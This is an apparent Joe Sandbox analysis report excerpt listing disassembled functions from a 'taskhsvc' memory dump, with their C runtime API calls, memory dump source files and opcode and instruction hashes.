                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail_stati64free
                                        • String ID:
                                        • API String ID: 2740781178-0
                                        • Opcode ID: 7118322b10fc9ffb261415dc7b31a1b59c367b95d80175855f682659d9ff56e1
                                        • Instruction ID: 24540f8e254d6d3fdb7f2d3f6156046fd1eed26228d6b60cae367968324e8124
                                        • Opcode Fuzzy Hash: 7118322b10fc9ffb261415dc7b31a1b59c367b95d80175855f682659d9ff56e1
                                        • Instruction Fuzzy Hash: 0941F874A08625CBEB10DFA9E541BADBBF1EF54328F188429E884EB344D374D981DF61
                                        Function 00D2EC9C Relevance: 4.6, APIs: 3, Instructions: 83COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D2ED00
                                          • Part of subcall function 00D2D7F2: abort.MSVCRT ref: 00D2D854
                                          • Part of subcall function 00D2D7F2: abort.MSVCRT ref: 00D2D893
                                          • Part of subcall function 00D2D7F2: memcpy.MSVCRT ref: 00D2D8AD
                                          • Part of subcall function 00D2D7F2: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BF57C7), ref: 00D2D8C0
                                          • Part of subcall function 00D2BEDA: abort.MSVCRT ref: 00D2BF43
                                          • Part of subcall function 00D2BEDA: __stack_chk_fail.LIBSSP-0 ref: 00D2C220
                                        • memset.MSVCRT ref: 00D2ED1B
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2EDD9
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$strrchr$memcpymemset
                                        • String ID:
                                        • API String ID: 632605181-0
                                        • Opcode ID: 8a0ff06ab0039d8fc44c2303771308bf14588ac5194627541425cd3bf2768ec4
                                        • Instruction ID: 7e1a73ab8864c322d8d8f70c2cc97e126394a89d291ba075de73aa813014768c
                                        • Opcode Fuzzy Hash: 8a0ff06ab0039d8fc44c2303771308bf14588ac5194627541425cd3bf2768ec4
                                        • Instruction Fuzzy Hash: 6E41B1B49043199FCB00EFA8D5856AEBBF1FF48358F118819E998AB350D778D940CF62
                                        Function 00D255C5 Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D256C2
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00D12E2F), ref: 00D25635
                                        • _write.MSVCRT ref: 00D25691
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$_writeabort
                                        • String ID:
                                        • API String ID: 1790930388-0
                                        • Opcode ID: eab6656389e42188bd5b0de6c74ae063ed43a4382aff0de2bed0446d7c7e5f89
                                        • Instruction ID: aebcd3a5bb96395143465a3581261f70c38b6123383eea60a6b5b4d8bbb378c1
                                        • Opcode Fuzzy Hash: eab6656389e42188bd5b0de6c74ae063ed43a4382aff0de2bed0446d7c7e5f89
                                        • Instruction Fuzzy Hash: AF31A0B4A046199FCB00DFA8D684AAEBBF1FF48319F508559E458A7344D734A940CF66
                                        Function 00D25C4C Relevance: 4.5, APIs: 3, Instructions: 47stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • strchr.MSVCRT ref: 00D25C82
                                          • Part of subcall function 00D23938: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00C1FF97), ref: 00D23967
                                          • Part of subcall function 00D23938: __stack_chk_fail.LIBSSP-0 ref: 00D239A8
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • strlen.MSVCRT ref: 00D25CC4
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D25CF3
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$freestrchrstrlen
                                        • String ID:
                                        • API String ID: 2652206642-0
                                        • Opcode ID: dfc304a17fb88af5b74ff3a4f7e473aa98d841f7ff5185ab027a237f62de6391
                                        • Instruction ID: 6e01b7de342eb6fb8fc8aad0e6738fa0d43da0c5d5cda93b8cefb5a1ebf845d7
                                        • Opcode Fuzzy Hash: dfc304a17fb88af5b74ff3a4f7e473aa98d841f7ff5185ab027a237f62de6391
                                        • Instruction Fuzzy Hash: 28116FB4D047199FCB00EFA8D58569EBBF0FF48314F01881DE998AB344E77899448F66
                                        Function 00BEEBE4 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D19B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D145AC), ref: 00D19B69
